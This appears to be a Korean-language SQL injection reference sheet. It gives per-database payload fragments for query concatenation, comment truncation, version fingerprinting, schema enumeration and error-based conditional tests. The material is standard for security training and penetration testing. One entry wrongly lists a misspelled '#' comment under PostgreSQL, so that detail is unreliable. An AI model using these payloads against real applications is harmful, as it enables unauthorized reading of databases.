여러 문자열을 연결하여 단일 문자열로 만들 수 있다.
Oracle
'foo'||'bar'
Microsoft
'foo'+'bar'
PostgreSQL
'foo'||'bar'
MySQL
'foo' 'bar'
CONCAT('foo','bar')
지정된 오프셋과 길이로부터 문자열의 일부를 추출할 수 있다. 오프셋 인덱스는 1부터 시작한다.
Oracle
SUBSTR('foobar', 4, 2)
Microsoft
SUBSTRING('foobar', 4, 2)
PostgreSQL
SUBSTRING('foobar', 4, 2)
MySQL
SUBSTRING('foobar', 4, 2)
주석을 사용하여 query를 자르거나, 입력한 부분 이후의 query 부분을 제거 할 수 있다.
Oracle
--comment
Microsoft
--comment
/*comment*/
PostgreSQL
--comment
/*comment*/
#commet
MySQL
-- comment
/*comment*/
데이터베이스의 유형과 버전을 확인하기 위해 데이터베이스에 query를 실행할 수 있다. 이 정보는 더 복잡한 공격을 생각할 때 유용하다.
Oracle
SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft
SELECT @@version
PostgreSQL
SELECT version()
MySQL
SELECT @@version
데이터베이스에 있는 테이블과 테이블에 포함된 columns을 나열할 수 있다.
Oracle
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME_HERE'
PostgreSQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME_HERE'
MySQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME_HERE'
단일 boolean조건으로 테스트해서 조건이 참이면 데이터베이스에 오류가 작동할 수 있다.
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_Schema.tables),'a')